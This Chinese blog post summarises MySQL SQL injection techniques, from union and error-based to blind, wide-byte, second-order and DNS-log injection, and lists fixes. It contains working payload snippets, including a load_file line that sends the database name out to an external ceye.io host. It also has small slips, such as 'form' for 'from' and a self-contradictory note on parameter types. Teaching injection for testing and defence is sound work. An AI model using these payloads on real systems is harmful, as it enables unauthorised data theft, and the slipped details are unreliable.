基于mysql的sql注入原理复盘

基于mysql的sql注入原理复盘

原理:web程序未对用户提交参数进行过滤,导致参数被拼接到sql语句在数据库被执行

测试方法:寻找可控参数使用单引号,and 1=1和and 1=2手工判断或使用工具

修复

  1. sql语句使用数据库提供的参数化查询接口
  2. 转义或编码特殊字符
  3. 严格数据类型,限制数据长度
  4. 网站编码统一
  5. 避免网页回显数据库错误信息

mysql相关知识:mysql5之后,存在infomation_schema数据库

  • schemata表字段CHEMA_NAME记录库信息
  • tables表字段TABLE_SCHEMA记录库名,TABLE_NAME记录表名
  • columns存储该用户创建所有数据库库名,表名,字段名

注入点判断

  • 判断注入位置

    • 不太敏感的数据,传参可能GET在URL上显示
    • 敏感数据如passwd或者过长数据可能POST
    • 如果网站对session有验证,可能cookie也能注入
    • XFF,referer,UA等,只要网站要去数据库做验证,就可能存在注入
  • 判断数据类型

    • 传参的时候如果时传id,age,page的话,一般是字符型,不需要加引号
    • 传一些name,address的话,一般是字符型,需要加引号
    • 一些搜索可能是like搜索,也需要引号
  • 判断是否网页显示

    • 网页无回显,使用boolean注入,and length(database())=10#,判断响应是否正确进行猜解
    • 也可以使用延时函数,sleep
  • 其他类型

    • 搜索框中常见
    • 需要编码传参

常用函数集合

  • substr(string,start,end)第一个参数是被截断字符串,第二个参数是从第几个开始,第三个是到哪结束
  • ascii()转ascii码
  • concat(string1,’分隔符‘,string2)多个字符串拼接
  • group_concat(string1,string2)将两个string连成一行,默认分隔符逗号
  • updatexml(1,concat(0x3a,database(),0x3a),1);因为第二个参数不符合xpath规范,所以会报错
  • sleep(int)延迟int秒
  • length(‘string’)string的字符长度
  • hex(‘string’)转十六进制
  • order by排序语句,用来判断多少字段数
  • benchmark(int,函数)执行int次函数来达成延时

union联合查询

原理:语句 union sql语句

union可以一次显示两个查询结果,但两个语句字段数需要一样

流程

  • order by判断前面的sql语句字段数
  • 将前面的sql语句查询结果设置为空 union select 1,2,3,几个字段数写几个 看回显点在哪
  • 哪个字段回显就构造哪个字段
  • id=-999’ union select 1,database(),3#
  • 可以利用group_concat()回显字段,将所有字段都爆出来
  • 回显字段可以做子查询
#一般格式
?id=-999' union select 1,2,group_concat(table_name) form information_schema.tables where table_schema=database()#

报错注入

原理:在union注入基础上没有回显位,需要报错查询

测试:多种函数可报错

  • extractvalue(xml_frag, xpath_expr)
    • 第一个参数是xml片段,第二个参数用xpath查询路径
    • 利用不符合语法格式的xpath来报错
  • updatexml(xml_target, xpath_expr, new_xml)
    • 第一个参数是xml目标,第二个参数用xpath查询路径,第三个是更新后的xml字段
    • 同样利用不符合语法格式的xpath来报错

boolean盲注

原理:开发者屏蔽报错信息,不能在网页回显,and 1或and 0页面返回无变化

测试:基于真假进行判断

  • 判断注入if()

    • if(length>1,1,0)
  • 长度判断length()

    • length(database())>1
  • 字符判断substr()

    • substr(database(),1,1)=‘a’
  • ascii码判断ascii()

    • ascii(substr(database(),1,1))>1

延时注入

原理:开发者屏蔽报错信息,不能在网页回显,and 1或and 0页面返回无变化

测试:基于延迟时间进行判断

  • 判断延时sleep()
    • sleep(8)
  • 可替换为benchmark()
    • benchmark(1e8,md5(1))

将boolean盲注中的true判断变为延时函数即可

堆叠注入

原理:sql语句加;后再跟其他sql语句一起执行

后端代码中使用了mysql_multi_query

二次注入

原理:数据库插入数据是只使用了addslashes()或者get_magic_quotes_gpc转义,导致被插入数据库的数据是原始数据

利用:常见在注册等进行存入数据操作界面

在语句后加入单引号等可造成闭合导致再次修改原数据时修改的是闭合后的数据

编码注入

原理:代码层进行了解码

常见base64_decode()

宽字节注入

原理:英文默认一个字节,中文默认两个字节数据库和代码设置不同编码导致

利用:数据库使用GBK或者Big5编码,存在addslashes()等函数转义

使用%df来和%5c组合为汉字绕过绕过转义

%5c是\

Cookie注入

原理:php低版本及asp中$_REQUEST接收传参顺序是GET/POST/COOKIE

还有一种情况就是专门接受了cookie参数并放到数据库进行查询

利用:只是换了注入位置,其他一样

Dns注入

原理:有控制数据库区读取文件的权限,利用load_file(concat("\\\\",(select database()),".xxx.ceye.io\\abc"));

利用:

  • secure_file_priv=""可以读取
  • windows系统
  • skip_name_resolve 为off时才会进行域名解析
  • 满足UNC路径\\\\xxxx.com/txt 四个反斜杠的原因是因为将反斜杠做转义

能够加快延时读取速度

你可能感兴趣的:(web渗透,mysql,网络安全)